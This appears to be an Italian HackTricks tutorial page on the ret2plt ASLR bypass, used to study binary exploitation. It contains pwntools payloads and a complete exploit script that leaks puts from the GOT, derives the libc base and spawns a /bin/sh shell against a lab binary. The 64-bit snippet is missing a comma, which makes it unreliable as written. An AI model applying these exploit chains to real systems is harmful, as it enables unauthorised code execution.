mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
3.0 KiB
Markdown
79 lines
3.0 KiB
Markdown
# Ret2plt
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Informazioni di base
|
|
|
|
L'obiettivo di questa tecnica sarebbe quello di **leakare un indirizzo da una funzione del PLT** per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione `puts` dalla libc, potete poi **calcolare dove si trova la base di `libc`** e calcolare gli offset per accedere ad altre funzioni come **`system`**.
|
|
|
|
Questo può essere fatto con un payload `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
|
```python
|
|
# 32-bit ret2plt
|
|
payload = flat(
|
|
b'A' * padding,
|
|
elf.plt['puts'],
|
|
elf.symbols['main'],
|
|
elf.got['puts']
|
|
)
|
|
|
|
# 64-bit
|
|
payload = flat(
|
|
b'A' * padding,
|
|
POP_RDI,
|
|
elf.got['puts']
|
|
elf.plt['puts'],
|
|
elf.symbols['main']
|
|
)
|
|
```
|
|
Nota come **`puts`** (utilizzando l'indirizzo dal PLT) venga chiamato con l'indirizzo di `puts` situato nel GOT (Global Offset Table). Questo perché, quando `puts` stampa l'entry del GOT di puts, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**.
|
|
|
|
Nota anche come l'indirizzo di `main` venga utilizzato nell'exploit, così quando `puts` termina la sua esecuzione, il **binary chiama di nuovo `main` invece di uscire** (quindi l'indirizzo leak continuerà a essere valido).
|
|
|
|
> [!CAUTION]
|
|
> Nota come, affinché questo funzioni, il **binary non può essere compilato con PIE** oppure devi aver **trovato un leak per bypassare PIE** per conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi prima bypassare PIE.
|
|
|
|
Puoi trovare un [**esempio completo di questo bypass qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Questo era l'exploit finale di quell'**esempio**:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln-32')
|
|
libc = elf.libc
|
|
p = process()
|
|
|
|
p.recvline()
|
|
|
|
payload = flat(
|
|
'A' * 32,
|
|
elf.plt['puts'],
|
|
elf.sym['main'],
|
|
elf.got['puts']
|
|
)
|
|
|
|
p.sendline(payload)
|
|
|
|
puts_leak = u32(p.recv(4))
|
|
p.recvlines(2)
|
|
|
|
libc.address = puts_leak - libc.sym['puts']
|
|
log.success(f'LIBC base: {hex(libc.address)}')
|
|
|
|
payload = flat(
|
|
'A' * 32,
|
|
libc.sym['system'],
|
|
libc.sym['exit'],
|
|
next(libc.search(b'/bin/sh\x00'))
|
|
)
|
|
|
|
p.sendline(payload)
|
|
|
|
p.interactive()
|
|
```
|
|
## Altri esempi e Riferimenti
|
|
|
|
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
|
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')`
|
|
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
|
- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|